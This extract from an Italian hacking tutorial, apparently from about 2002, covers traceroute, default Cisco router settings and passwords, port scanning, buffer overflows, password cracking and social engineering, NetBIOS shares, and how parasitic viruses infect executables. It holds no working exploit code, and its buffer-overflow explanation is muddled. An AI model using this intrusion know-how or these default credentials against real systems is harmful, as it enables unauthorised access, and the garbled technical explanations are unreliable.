Subito dopo troviamo altri punti si passaggio, e qui il gioco inizia ad essere un po’ più
interessante… Notiamo come il nostro pacchetto sia rimbalzato cercando la via più breve
per arrivare al nostro obiettivo e sia poi passato attraverso una serie di altri computer.
Questo potrebbe interessarci in modo relativo, ma è sempre bene vedere dove vanno a
finire i nostri dati prima che giungano a destinazione. In alcuni casi si vedrà in seguito, è
molto importante far si che tutto ciò che inviamo al target passi per punti ben precisi, e
che i punti di passaggio non siano affidati al caso.
Prima di proseguire con le spiegazioni è bene puntualizzare alcune cose.
11
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
12
Durante un tracert è possibile che accada una delle seguenti variabili:
- Il target non può essere risolto
- Il tracert da valori sballati
Analizziamo punto punto:
Il target non può essere risolto: In questo caso le possibilità che il target non sia più
raggiungibile può dipendere da diversi fattori, uno dei quali è che probabilmente stavate
tracciando un IP dinamico (ad esempio un utente con connessione dial-up) che si è
disconnesso nel momento in cui voi stavate effettuando il tracert.
Altra causa potrebbe essere lo scontro poco gradito a un router impostato per non
restituire il valore di pacchetto ICMP TIME_EXCEEDED.
Il tracert restituisce valori sballati: Con molta probabilità, l’Host che state sondando ha
montato un dispositivo che genera risposte errate come HUMBLE di Rhino9.
Quando questo programma rileva un tracciamento, cioè riceve un pacchetto UDP o ICMP il
cui valore TTL corrisponde a 1, invia all’host che ne richiede il tracciamento dei dati falsati.
0x0000
0x0010
0x0020
0x0030
0x0040
00
00
C5
2A
2A
00
3C
64
2A
2A
00
0D
08
2A
2A
11
D4
00
2A
2A
22
00
B4
2A
2A
33
00
56
2A
2A
44
C8
02
2A
2A
45-53
01-11
00-9F
2A-2A
2A-2A
54
29
06
2A
2A
77
97
2A
2A
77
2A
2A
2A
08
A8
2A
2A
00
06
2A
2A
45
CF
2A
2A
00
2E
2A
2A
...."3DESTww..E.
.<.Ô..È..)—*¨.Ï.
Åd..´V..Ÿ.******
****************
**********
**Ecco un pacchetto “sniffato” durante un tracert
Detto questo, starà poi a voi sviluppare l’occhio per riconoscere queste situazioni.
Ora torniamo al nostro report. Osserviamo l’ultimo punto di passaggio. Se tutto è andato
come previsto potremo notare che l’ultimo punto di passaggio corrisponde all’Host che
abbiamo voluto tracciare. Ora facciamo un salto indietro di un punto, cosa notiamo?
Notiamo che il penultimo salto con ogni probabilità, 99% si tratta di un router o di un
firewall.
Questo ovviamente vale per tutti quegli Host che offrono servizi ad esempio hosting,
sendmail, ecc, in altri casi vi farò vedere come ad esempio il traceroute potrebbe rivelarsi
utile anche per rilevare un tentativo di intrusione e localizzare l’aggressore quasi, se non
addirittura fino a casa sua.
Non dimentichiamo inoltre, che sempre grazie a Traceroute possiamo individuare una VPN
(Virtual Private Network) cioè quelle reti dislocate geograficamente in posti differenti ma
che conservano tra loro la comunicazione avvalendosi di ISP aziendali e/o ISP di servizi
internet.
E’ molto importante determinare quali siano i punti fondamentali di una rete remota che
vogliamo analizzare perché in questo modo potremo avere sotto gli occhi uno schema
abbastanza preciso di ciò che abbiamo di fronte. Non sottovalutate mai questo punto.
Questi sono gli strumenti principali, ma con il tempo, più imparerete, più capirete da soli
quali sono gli strumenti che vi serviranno mano a mano.
Questi sono gli strumenti ESSENZIALI, se uno solo di questi strumenti vi manca, è come
tentare di far partire la macchina senza benzina…
Se conoscete anche qualche linguaggio di programmazione, potrete addirittura crearvi da
soli le vostre applicazioni senza diventar matti a cercare in giro per in WEB gli strumenti
che vi servono… In ogno caso vi do una dritta. Molti programmatori mettono a
disposizione i sorgenti delle loro applicazioni. Non troverete facilmente il sito di un “hacker
professionista” perché sarebbe come tagliarsi da soli le gambe, ma in giro, troverete
certamente qualcosa.
Sicuramente avrete anche capito che lo strumento davvero fondamentale di questo
12
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
13
“mestiere” è la testa. Ricordate, massimo rispetto del lavoro degli altri, se questi sbagliano
aiutateli e correggete i loro errori. Non commettete atti criminosi verso sistemi informatici
altrui.
Se volete distruggere qualcosa fatelo sui vostri terminali, non su quelli altrui.
Usate, l’ingegno, le conoscenze acquisite, e l’improvvisazione. Tentate sempre anche le
cose più azzardate e più strane perché spesso la scoperta di una cosa nuova si trova
proprio dietro un lampo di genio venuto quasi per caso…
Apriamo una piccola parentesi sui Router Cisco:
Router Cisco
Quando un’azienda decide di acquistare un router Cisco accadono sempre delle cose
piuttosto curiose, la prima delle quali è che se all’interno dell’azienda non vi è presente un
amministratore di sistema più che accorto, il responsabile della rete farà installare il router
lasciando che i tecnici della Cisco lascino le configurazioni di default.
Non è una colpa da dare alla Cisco, anzi, solitamente se un tecnico Cisco domanda
all’amministratore di sistema che servizi desidera abilitare e quali invece oscurare si
sentirà rispondere al 90% dei casi: “basta che la rete funzioni”. Perfetto, il tecnico della
Cisco, già stressato di suo non farà altro che collegare i cavi di rete, caricare le
impostazioni fondamentali, lasciare giù un foglio con la configurazione di base apportata al
router e tornarsene in ditta. Occhio, queste cose accadono realmente, ve lo posso
garantire personalmente, visto che ho dovuto sistemare recentemente una rete
letteramente massacrata dai Cracker, nella quale risultava la seguente configurazione di
default del router cisco:
TCP
21 (ftp)
23 (telnet)
79 (finger)
80 (http)
512 (exec)
513 (login)
514 (shell)
1993 (SNMP Cisco)
1999 (ident Cisco)
2001
4001
6001
9001 (XRemote)
UDP
0 (tcpmux)
49 (domani)
67 (bootps)
69 (tftp)
123 (ntp)
161 (snmp)
Ma la cosa più triste è che erano state lasciate le password di default..
User: cisco
password: cisco
Roba non credere… eppure cose di questo tipo sono vere.
LA SCANSIONE DELLE PORTE
Cos’altro possiamo scoprire con una scansione? Bhè, partiamo dal presupposto di vedere
l’host remoto come un palazzo pieno di porte, alcune aperte e altre chiuse. Senza Port
Scanner non sapremmo a quale porta andare a “bussare” quindi, senza una scansione
delle porte, entrare in un server è come cercare di entrare bendati nel nostro ipotetico
13
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
14
palazzo pieno di porticine piccole piccole.. Risultato, ci spaccheremmo la faccia contro un
pilastro.
E non pensate nemmeno di sfoderare Telnet e bombardare la porta 21 con non so quali
comandi, perchè non servirebbe a niente. Ad ogni porta corrisponde un determinato tipo
di servizio (qui lo dico e qui lo nego, è difficile, ma non impossibile che alcune porte
vengano usate per servizi diversi rispetto all’uso di default solito). Quindi una scansione
non vi dice solo quali porte sono aperte, anzi, quasi non deve interessarci più di tanto…
Sorpresi? Si? Pazienza, la verità è questa. Dite che ho detto una cosa stupida? Ok, allora
adesso vi frego…
Mettiamo di fare una scansione su di un server, troviamo la porta 88 aperta e subito
allupati dall’emozione apriamo il nostro fido Telnet e ci connettiamo alla porta 88 sperando
che ci compaia un remotelogin. Speranza vana. Niente di tutto questo, anzi
probabilmente, anche se la porta 88 vi risulterà aperta, telnet non riuscirà a stabilire una
connessione. A questo punto i più perseveranti tenteranno almeno un centinaio di volte
prima di prendere la tastiera e picchiarla violentemente contro il monitor imprecando tutti
i santi del paradiso. Alcuni proveranno le tecniche più rocambolesche e picchieranno nel
browser internet persino la stringa http://www.target.com:88/ e tutte le varianti possibili..
Lasciate perdere. Non è assolutamente questo il modo di agire. E allora vi domanderete
che si fa in questi casi… ebbene, si guarda la tabella qui sotto e si vede a che servizio
corrisponde la tal porta.
Se la nostra porta fosse 19, andiamo a controllare e vedremo che qusta porta corrisponde
al servizio CHARGEN. Cercate su un motore di ricerca che cosa fa questo servizio, come
funziona e a cosa serve. Se non trovate nulla di soddisfacente (sarà difficile) allora potrete
prendere in considerazione di andare in qualche libreria di informatica e cercare sui libri le
informazioni che vi servono. Starete pensando che è un’inutile perdita di tempo, ma non è
così. Anzi, se davvero vi ostinate a pensarlo, non proseguite nemmeno a leggere questo
libro, l’hacking non fa per voi.
GENESI DI UN ERRORE
Prima di introdurci in discorsi troppo complicati vorrei puntualizzare alcune cose.
Se siete di quelli che pensano che un sistema operativo è impossibile che non funzioni
bene o che presenti dei problemi solo perché prodotto da grandi software house come
Microsoft e Apple, bhè allora siete fuori strada, e di molto anche. E’ molto più facile che un
programma prodotto da Microsoft sia più bacato di un altro realizzato da un gruppo di
amici con la passione della programmazione. Perché? Molto semplice…
Immaginate un sistema operativo, prendiamo ad esempio Windows98 (uno a caso) e
pensiamo per un attimo a quante funzioni, programmi, richiami, processi di background
ecc deve gestire. Ci troviamo di fronte ad un opera colossale, dobbiamo ammetterlo, ma
qual è uno dei suoi principali problemi? Come ben sappiamo ogni sistema operativo ha
dietro di sé una storia vera e propria e in questo caso, per chi non lo sapesse, Win98 è
stato “costruito” e concepito da un esercito di migliaia di programmatori. Come ben
sappiamo all’interno di un gruppo di amici di appena una decina di elementi vi sono
incomprensioni di vario genere, figuriamoci in un team formato da migliaia di persone che
tra di loro forse il 2-3% hanno un contatto diretto faccia a faccia… E vi dirò di più… molti
non si conoscono neppure non perché uno lavora al 10° piano dell’edificio Microsoft e
l’altro al 4° piano, no… dovete sapere che questo esercito di programmatori sono sparsi un
po’ ovunque su tutto il pianeta! Quindi è anche ovvio che un lavoro che comunque richiede
14
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
15
una precisione assoluta e la massima attenzione abbia qualche problema… Ecco svelato
uno dei principali Bug delle software house: l’incomprensione.
Questa era una cosa piuttosto ovvia, ma ho tenuto a precisarla dato che molti ancora
credono che Windows lo abbia creato Bill Gates tutto da solo, e che quindi, tutte le colpe
siano da imputare solo a lui. Gates ha altre colpe, ma per ora è meglio che stia zitto…
Ma ora vediamo come un errore di programmazione può diventare una bomba innescata
pronta ad esplodere e a far tremare una software house sino all’uscita della fantomatica
patch.
Sappiamo bene come un hacker sappia sfruttare vulnerabilità fisiche e umane per poter
dimostrare la veridicità delle sue affermazioni e sappiamo anche come sia in grado di
creare da solo piccole funzioni (non programmi) in grado di colpire nel cuore un sistema e
di far eseguire ad esso tutte le operazioni che desidera. Queste funzioni sono chiamate in
gergo EXPLOIT che significa in poche parole “sfruttare” (o “entrata in scena” dal gergo
degli attori)
il che ritradotto in linguaggio informatico significa “sfruttare l’informazione”, insomma, la
stessa identica cosa…
Detto in linguaggio più esplicito l’Exploit non è altro che un piccolo listato scritto in un
qualche linguaggio di programmazione (per lo più in C e Perl) e messo solitamente a
disposizione di tutti (su siti come www.bismark.it o www.crackinguniversity2000.it ne
trovate a migliaia).
Ma cosa fa nascere un exploit? Cosa spinge un hacker a creare queste funzioni in grado di
alterare, modificare, prendere possesso e altro ancora di un sistema operativo in modo
non autorizzato? Non voglio dilungarmi sull’etica hacker e sul perché fanno determinate
cose.
Questo non è argomento da trattare in questa sezione, qui cercherò di farvi capire come
nasce l’exploit, causa e conseguenza. Cosa sono i punti vulnerabili e come scavare a fondo
per localizzarli…
Bisogna innanzi tutto distinguere le vulnerabilità fisiche da quelle umane.
Non vi spaventate, non vi parlerò né di accelerazione gravitazionale né di psicanalisi, mi
limiterò a fare un po’ di ordine nella vostra testa…
La cosa fondamentale è cercare di avere una visione schematica della realtà per certe cose
e per altre assolutamente no. Il computer è stato creato dall’uomo e quindi all’interno
delle macchine risiede un po’ di tutti noi…
Il computer è abbastanza prevedibile perché “ragiona” su funzioni ed eventi, ci sarà quindi
possibile capire in anticipo le sue mosse e a batterlo sul tempo.
VULNERABILITA’ FISICHE
Un errore facile da trovare, specialmente in programmi di un certo spessore e sistemi
operativi, è quello di inadeguate istruzioni capaci di gestire un certo tipo di evento o
addirittura la totale mancanza presa in considerazione.
Esempio, se io so che 2+2 da sempre come risultato 4 e 3+5 da come risultato sempre 8,
e prevedo che questi due risultati possano essere sommati tra loro ma non specificando in
quale evento preciso, accade una cosa strana… Il computer non sa cosa deve fare ed è
possibile che non sia in grado di gestire un numero oltre le sue aspettative, o che l’evento
non sia adeguatamente dichiarato a tal punto da, tradotto in informatica, causare un
Buffer Overfloow, Run Time Error, errore di lettura nell’allocazione di memoria, ecc…
Ora pensiamo per un attimo, se una cosa del genere succedesse utilizzando programmi
desktop l’unica cosa che possiamo è tirare qualche imprecazione e mal che vada riavviare
15
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
16
il sistema… Ma cosa succede se un errore di questo tipo è presente in un server che
gestisce dei daemon? Ve lo dico subito. Mettiamo che il login per accedere a un tal servizio
ci chieda dapprima di inserire uno unserId e poi una Password. Il Bug è in agguato…
L’userId e la password sono state programmare per non accettare più di 12 caratteri
l’uno… cosa succede se io invio una stringa che forza l’immissione di 13 caratteri? Succede
che il programma non riesce a gestire l’eccezione causando un potenziale buffer
overfloow.
Buffer overfloow significa che nel modulo di memoria prestabilito per una tal operazione è
stato previsto un MaxLength (o un tot di byte - MaxLength: numero massimo di caratteri
digitabili nell’input-) di un tot di caratteri, ad esempio: 12. Ora, esistono diversi modi per
far si che l’input corrisponda a 13 piuttosto che a 12, uno dei quali è quello di far “credere”
al computer che si stanno effettuando due login, quando invece la richiesta di accesso è
una sola. Facendo questa doppia richiesta al server, la macchina remota si prepara ad
accogliere un MaxLength di 24 caratteri nel buffer utilizzando una memoria temporanea
gestita comunque dallo stesso programma, dll ecc..
Ma a questo punto, ecco la sorpresa (o meglio, la Sola colossale) il server riceve il login da
parte di un unico IP al quale fa credito l’immissione input del login. Al momento della
richiesta, il buffer fa riferimento ad un unico utente ed ecco il crack del sistema. L’errore
sta nel fatto che il server non riesce a gestire una richiesta reale da una fittizia. Vengono
immessi 13 caratteri (o perché no, 25) ed ecco la crisi del buffer.
Oggi questo problema è ormai superato largamente, anche se ora esistono altri sistemi
per appropriarsi del target, che vi credevate? Questo era solo un esempio.
Vi posso accennare ancora cose che vediamo un po’ tutti i giorni, ad esempio cosa succede
se usiamo Win98 per leggere un CD? Fate una prova, inserite un CD autopartente tipo
quelli che troviamo nelle riviste di informatica. Aspettate che il CD si carichi e che parta da
solo. Navighiamo un po’ nel CD e poi apriamo il cassetto del CDROM. La finestra
dell’Ouput del Cd rimarrà fissa a monitor, per toglierla (visto che abbiamo tolto il cd)
proviamo ora a ciccare sul tasto Quit o Exit. Subito apparirà “Lo Schermo della morte” e
cioè il maledetto schermo blu con il solito messaggio di reinserire il CD e premere OK o
ESC per terminare… Solo a volte e ripeto SOLO A VOLTE il computer riuscirà a ripartire
senza doverlo resettare. Questo errore è stato risolto solo con Win2000 in modo definitivo.
Se lo stesso procedimento lo facciamo sotto Win2000 ecco che un messaggio piccolo e
discreto ci annuncerà che nel nostro lettore CD non c’è più il disco. A noi che ce frega?
Clickiamo su Annulla e finita lì.
Tutto questo perché? Semplice. Non è stato preso in considerazione che un utente può
girargli di togliere il CDROM dal cassetto prima di chiudere il cd in modo corretto.
Qualche purista potrebbe pensare che in questo caso la colpa sia dell’utente, ma di solito
l’utente medio non ci arriva a certe cose e se non gliele si fa vedere almeno 10 volte non
capisce il meccanismo.
E poi il computer non dovrebbe semplificarci la vita? Aiutarci? Spesso è il PC che ha
bisogno del nostro aiuto e non viceversa…
Errori di questo tipo sono all’ordine del giorno per chi usa il pc per lavoro e questo è un
dato sconfortante. Sappiamo bene che la sicurezza dei nostri dati dipende dalla serietà con
cui viene creato un determinato software. Noi ci affidiamo a queste grandi Software
House, paghiamo fior di milioni per avere un sistema funzionante e poi ecco che basta un
piccolo errore a mandare in malora il lavoro di una giornata…
E’ indispensabile che certi software vengano testati quasi allo stremo delle forze prima di
essere lanciati sul mercato, ma si sa, i grandi “studiosi” di marketing sono troppo
orgogliosi, troppo indaffarati ad assistere a Conventions e cene di lavoro che non riescono
a capire un concetto fondamentale. Il tempo di velocità per la realizzazione di un prodotto
è direttamente proporzionale al numero di errori e difetti che esso potrebbe contenere.
16
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
17
Ma la velocità di produzione a cui si susseguono nuove release dei prodotti software del
mercato mondiale va sempre a danno dei poveri programmatori che si ritrovano a dover
correre contro il tempo, stare perennemente sotto pressione e ad avere problemi di
ulcera…
Fine della lezione di marketing che non mi sembra il caso di portare avanti, noi non siamo
certamente così “intelligenti” come loro… ;-)
L’errore da variabile non dichiarata
Ecco una cosa che mi ha sempre fatto impazzire…
Come negli esempi precedenti abbiamo visto come un evento non considerato o
addirittura non ipotizzato può creare conseguenze disastrose. Ebbene, per i più romantici
che considerano l’Hacker una sorta di dio in terra dotato del “terzo occhio” che se batte tre
password a caso una è sicuramente quella giusta, sarà un duro colpo. Sono tutte balle.
Fin’ora abbiamo parlato di un solo lato della vulnerabilità fisica, ora ci addentreremo in
qualcosa di più complesso, preparatevi.
Più o meno ad intuito si può già capire dove può risiedere un errore di programmazione.
Ovvio che questa non è una regola fissa, ma in tutti questi anni ho appurato che molti
errori risiedono in listati dove non vengono dichiarate variabili in grado di gestire certi
eventi.
Ma ora è necessaria una piccola introduzione… Circa un anno fa mi è stato richiesto di
testare la versione 10 di Corel Draw. Un lavoro colossale che ha richiesto il lavoro di 5
Software House, decine di analisti programmatori autonomi e diverse agenzie di grafica.
Io dovevo testare la correttezza di funzioni come filtri, importazione ed esportazione
immagini e verificare le nuove funzioni che vi erano state aggiunte.
Da una parte avevo il manuale con il quale dovevo seguire gli esempi e vedere se il
programma faceva effettivamente quello che diceva di fare. In caso di errori dall’altra
parte avevo un altro pc con i listati e lì dovevo trovare l’errore, scrivere un commento e
possibilmente inserire una variazione. Testarla ecc..
Gli errori più sconcertanti erano su funzioni che richiedevano troppe impostazioni.
In poche parole, su 3-5 opzioni di esecuzione e funzioni addizionali abbiamo un margine
d’errore contenuto perché ci ritroviamo a dover gestire solo una manciata di codici, ma la
cosa cambia appena ci troviamo a dover gestire una combinazione di eventi che vanno da
10 a 20. Cosa accade di preciso? Alcuni programmatori hanno un modo tutto loro di
sviluppare le applicazioni. Molti si affidano alle variabili, e quindi, associano un ComboBox
o un CheckBox a un evento dimenticando a volte di dichiarare cosa deve effettuare il
programma con un determinato tipo di opzioni selezionate. In questo tipo di listati scovare
l’errore è molto semplice, perché al 99% l’evento o gli eventi da eseguire sono associati al
pulsante “OK”, che troviamo nella finestra di dialogo. Basta andare a vedere (seguendo un
po’ la logica) e si trova l’errore che ha bloccato il computer o il programma.
Altri si affidano invece a DLL che sono contenute nelle cartelle del programma o sfruttano
le API. In questo modo l’evento che ha causato il problema va ricercato anche altrove per
le DLL e OCX, oppure in locale (sul codice stesso) per le API.
Mettiamo di avere 4-5 opzioni per una singola funzione e che per queste singole opzioni
non sia stato prevista una combinazione specifica. Ad esempio vogliamo modificare una
fotografia con un filtro. Scegliamo il filtro e ci compare una finestra di dialogo che ci chiede
la profondità della sfaccettatura, l’ombra, il rilievo, il colore, l’effetto movimento ecc… OK,
decidiamo un misto delle seguenti opzioni e… “Questo programma ha eseguito
17
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
18
un’operazione non valida e verrà terminato”. Ma come?!? Vado a vedere il listato se per
caso il problema è da imputare a Win98 o al del codice. A questo punto scopro che
l’evento è stato creato in modo scorretto.
Cosa è successo nel dettaglio? A livello di programmazione non è stata prevista una
sequenza di scelta delle possibili opzioni… A volte non troviamo neppure singoli eventi
dichiarati a se stanti e poi portati a livelli scalettati e quindi eseguiti. Non avete capito? Vi
faccio un esempio.
Scegliamo diversi filtri da applicare ad una bitmap, ora dando l’OK il programma dovrebbe
eseguire le istruzioni una ad una per funzionare in modo corretto. Una cosa del tipo:
applicazione filtro 1..fatto! Applicazione filtro 2…fatto! Ecc… sino alla fine dando il risultato
cercato. E invece a volte no! Al momento dell’esecuzione vengono raccolti i dati immessi,
e applicati in un’unica variabile! Cosa dell’altro mondo, ma tristemente vere…
Non starò a spiegarvi nel dettaglio cosa è successo nel caso di quel programma, però
questo spero vi abbia fatto capire che le colpe non sono sempre di Windows. L’errore può
celarsi dietro qualsiasi applicazione o sistema operativo. Ricordate, se cercate un Bug, di
provare tutte le combinazioni possibili, di provare tutte le effettive procedure e vi
accorgerete, che al 70% qualche errore c’è…
Però una cosa ve la voglio dire… Mentre testavo Corel Draw 10, in rari momenti di pausa
leggevo le varie riviste di informatica… sfoglia e risfoglia… mica trovo la pubblicità di Corel
Draw 10 già messo in commercio?!?!? Ma come…? Sto facendo io adesso i test……. […]
Un altro esempio clamoroso sull’errore di variabile non dichiarata è il classico errore
generato da un buffer overflow. Quante volte avete sentito queste due parole? Ora io non
voglio addentrarmi nel dettaglio anche perché ci sono diverse guide che trattano
l’argomento e la mia sarebbe solo una cosa in più e magari non spiegata abbastanza bene
per via del poco spazio.
Immaginate di avere un recipiente che contiene 200 litri di acqua, noi ne versiamo invece
201.
Quell’1 in più è in grado di bloccare definitivamente il sistema sfruttando un bug contenuto
in una variabile. La variabile in questo caso non è programmata (procedura) per un
controllo dei dati immessi, li raccoglie in un contenitore (variabile) e va ad inserirlo nei
settori della memoria. I settori della memoria però sono 200 e non 201! Cosa succede a
questo punto? Il calcolatore non sa più cosa fare, e quel singolo dato immesso scatena il
famoso buffer overflow che più o meno tradotto significa appunto “tracollo del
contenitore”.
VULNERABILITA’ UMANE
Ciò che coinvolge problemi legati a vulnerabilità umane non è da ricercare nel software, ve
lo dico subito. Spessissimo l’errore è umano. A volte non si tratta nemmeno di errori ma
più che altro di sviste, da parte di amministratori di sistema nel nostro caso…
Come si riconosce un tipo di errore da Vulnerabilità Umana? Semplice.
L’apparato software funziona correttamente? Si.
L’hardware genera conflitti? No.
Ci sono eventi che generano risposte sempre identiche? Si.
Le procedure sono state rispettate…? …mmm..forse.
Vulnerabilità umana. Ci sono persone che memorizzano le azioni quotidiane e con il tempo
è come se inserissero il “pilota automatico”. E’ come per la programmazione. Ad un evento
segue sempre una risposta, ma non è detto che sia sempre uguale.
Mai fossilizzarsi su concetti e automatismi, nell’informatica come in molti altri casi, è
18
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
19
potenzialmente una bomba innescata.
In realtà su questo argomento ci sarebbero una marea di cose da affrontare, ve ne
accennerò solo una, forse la più clamorosa...
Password ai 4 venti
Certi amministratori di sistema pretendono di affermare che il loro sistema è inviolabile
per il solo fatto che hanno messo una password introvabile d’accesso alle risorse.
Niente è più falso di questo. Nessuna password è sicura. Ecco perché è buona abitudine
cambiare le password almeno una volta alla settimana, meglio se esadecimali e
possibilmente lunghe non meno di 8 caratteri.
Eccovi alcune tecniche con le quali è possibile estorcere le password:
- Password troppo semplici es. admin, administrator, sesso, dio, rock, 123, abc, aaa, 666.
- Social Engineering. Estorsione di password e userID utilizzando contatto telefonico con la
vittima fingendosi un amministratore di sistema o altro.
- Il Post-It traditore. Dai, ammettilo, hai la password scritta su un bigliettino attaccato al
monitor, vero? Toglilo immediatamente! Non dirmi che solo tu entri nella stanza del
computer… Se proprio la password è lunga scrivetela nei posti più impensati. Io ad
esempio, una delle mie password l’ho scritta all’interno di una fede che porto al dito, 14
caratteri esadecimali.
State pensando che uso sempre la stessa? Sbagliato. Poi vi spiego meglio
- Attacco Brute Force. Il Brute Force è uno dei metodi più snervanti che possano esistere.
Consiste nell’affidare la ricerca della password a un programma apposito, es. Brutus,
WebCracker, Jhon, CrackerJack.
Non sapete cosa sono? Eccolo qui sotto in tutto il suo splendore, un programma per brute
force: Brutus, uno dei password cracker più utilizzati dagli hacker e non.
Questi programmi hanno uno svantaggio che è allo stempo un vantaggio enorme.
Per funzionare hanno bisogno che gli si dia in pasto un file .txt contenente una lista di
password. In rete trovate sia il programma che i file password, ma solitamente, come nel
caso di Brutus potrete anche generare password decimali, alfanumeriche.
Questo è quello che viene definito attacco Brute Force. Un attacco con file password,
invece, attacco a dizionario.
Ma oggi sia per uno sia per l’altro s’intende semplicemente Brute Force.
*Brutus AET2
19
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
20
Ma focalizziamo l’attenzione proprio su Brutus. Abbiamo detto che può tentare diverse
combinazioni tra numeri e lettere, abbiamo detto che può leggere da un file password, e
quindi provare tutta la lista sino alla fine. Ma come funziona? Semplice. Nei due casi tutto
quello che fa questo tipo di programma è quello di tentare un RemoteLogin su un
computer Host remoto. Manualmente impieghiamo un’ora per provare che so… 200
password? Un programma brute force può impiegare 5 minuti per provare 200 password,
se non meno.
Ecco a cosa serve, ad abbreviare i tempi. Brutus è anche in grado di fare un calcolo
approssimativo sul tempo che impiegherà a crackare una password. Nel caso di attacco
brute force potrebbe dare un responso che potrebbe farci rabbrividire: 200 – 250 anni, nel
caso di attacco a dizionario, dipende da quante password sono inserite nel file .txt da cui
va a leggere. L’attacco brute force, per quanto sia rozzo e spesso inefficace rimane uno
dei metodi più usati dai lamer. La cosa abbruttente è che a volte ce la fanno anche…
CONDIVISIONI PERICOLOSE
Un amministratore di sistema può anche “dimenticarsi” di chiudere determinati servizi che
in qualche modo potrebbero dare la possibilità ad aggressori esterni di infiltrarsi nella rete.
Sto parlando delle condivisioni. Un classico esempio può essere la porta NetBios (139)
aperta che all’interno di una rete LAN può essere utile per la condivisione di risorse come
le stampanti, ma su un computer collegato in rete, non mi sembra proprio una buona
idea…
Partiamo dall’inizio. Esiste un baco nella configurazione standard dei protocolli di rete
legati ai sistemi Microsoft (tanto per cambiare).
Quando installiamo accesso remoto, ci sono due protocolli che si installano nel nostro
sistema che sono: TCP/IP e NetBeui e/o NetBios. Ricordo che accesso remoto non serve
solo alle connessioni internet Dial-Up, anzi, serve ad amministrare anche l’accesso diretto
via cavo, connessione per collegamento di un computer remoto al nostro con un modem,
Reti LAN, WAN.
Ma qui sorge un problema. Nelle reti di computer perché così si possano definire, tutti i
terminali danno disponibilità di accesso alle condivisioni (alcune protette da password e
altre no) a tutti i computer host collegati. Quindi, da Esplora Risorse collegandosi a un
qualsiasi computer della rete troveremo anche delle cartelle accessibili con o senza
restrizioni di accesso, ma pur sempre visibili. Il problema è che tale meccanismo funziona
anche su internet.
Se noi ad esempio condividiamo in rete la cartella “Documenti” essa sarà visibile su
internet esattamente come all’interno di una rete LAN.
Per ovviare a questo inconveniente sarà necessario disabilitare il protocollo NetBios su
TCP/IP.
Facendo questo le nostre condivisioni saranno visibili solo su una rete locale e non su
internet.
Se volete fare un esperimento per vedere se un utente ha il NetBios abilitato sarà
necessario utilizzare il suo indirizzo IP. Aprite MS-DOS e digitate al Prompt dei comandi
questo:
c:\>nbtstat –a 0.0.0.0 (dove 0.0.0.0 sta per l’indirizzo IP da controllare)
Se il computer ha netbios abilitato potrete scoprire parecchie cose interessanti…
20
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
21
(Sui sistemi NT)
Per disabilitare NetBios sulla vostra macchina dovrete andare nel pannello di controllo alla
voce SERVIZI e mettere NetBios “Condivisione di file e stampanti in rete” con avvio
MANUALE e non AUTOMATICO. Per arrestarlo da consolle (ma verrà riavviato al prossimo
avvio del PC) basterà digitare al prompt dei comandi il comando NET STOP NETBIOS.
Per eliminare eventuali condivisioni pericolose usiamo NET SHARE ADMIN$ /DELETE
I VIRUS:
Navigando in giro per la rete mi è capitato di trovare il tutorial sui Virus che avevo scritto
due anni fa circa… Un giorno per curiosità ho scaricato la guida da un sito per vedere come
era stato “trattato” o se vi erano state apportate modifiche.
Scoprii che in alcuni casi era stato manipolato, he si… E non capisco perché, visto che le
“correzzioni” si sono rivelate poi degli errori…
Comunque qui vi ripropongo la versione giusta e aggiornata del tutorial.
COSA SONO I VIRUS
Come fa un virus a replicarsi e a nascondere i tentativi di rilevamento ?
Come infetta il file .COM ?
Esistono vari modi per infettare i file .EXE. Di base, il virus crea uno spazio nel programma
per immettere il proprio codice. Poi, in virus, legge le intestazioni dei file eseguibili e la
riscrive
considerando uno spazio aggiuntivo per il virus.
Dopo che il virus legge le intestazioni
del file eseguibile e a manipolare le informazioni.
A questo punto inizia il processo d'infezione.
----FASI---1. Letture delle intestazioni dell'eseguibile e le memorizza per riutilizzarle in seguito.
Nell'intestazione del file è contenuta la lunghezza del file, il valore checksum e ogni altra
informazione relativa al contenuto del file.
2. Il virus determina quanto spazio deve aggiungere al file per inserirsi in esso.
3. Il virus si aggiunge al file. Le dimensioni del virus e le modifiche che il virus
provoca nell'intestazione del file rappresentano la firma del virus.
4.Il virus scrive l'intesatzione del programma e modifica le informazioni
contenute nell'intestazione in modo da includere uno spazio aggiuntivo per le proprie
necessità.
5. Il virus salva su disco il programma modificato.
Questo particolare tipo di virus è chiamato VIRUS PARASSITA. Questo si attacca a un file e
continuaa vivere per tutta la sua vita dentro il file infettato. Il virus muore solo se si
cancella il file infetto. Questi parassiti sono diversi dai virus che attaccano il settore del
boot che si insidiano della routine di avvio del sistema operativo in quanto si attaccano
a un programma e si replicano attraverso altri programmi senza toccare il sistema
operativo.
Ammesso e non concesso, queste procedure sono diventate oggi abbastanza relative, ci
sono molti altri modi di infettare un sistema operativo o una gerarchia di file.
In linea di massima questa è comunque più o meno la procedura che viene eseguita.
21
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
22
I virus Toyan Horse
I troyan horse non sono virus.
Sono programmi che si nascondono all'interno di file non eseguibili (file compressi o
documenti) e talvolta in un file eseguibile per evitare il rilevamento da parte della maggior
parte dei programmi antivirus.
Un cavallo di troia, al contrario dei virus, contiene solo la subroutine del virus.
Essi hanna la caratteristica di fungere da porte aperte sui sistemi. Aprono in poche parole,
delle porte senza nessuna autorizzazzione e rendono un normale computer client un
server vero e proprio.
L'Hacker si serve di questi programmi, per potersi garantire l’accesso alle risorse del
computer vittima senza dover digitare nessuna password (eccetto qualche caso), oppure,
per ottenere alcuni privilegi su macchine Host in modo da poter utilizzare tali macchine
come se vi si trovasse dietro la tastiera del PC attaccato.
I Virus Poliformici
Il virus poliformico cripta il proprio codice interno.
Questa codifica, nasconde l'aspetto del virus al controllo dei software antivirus.
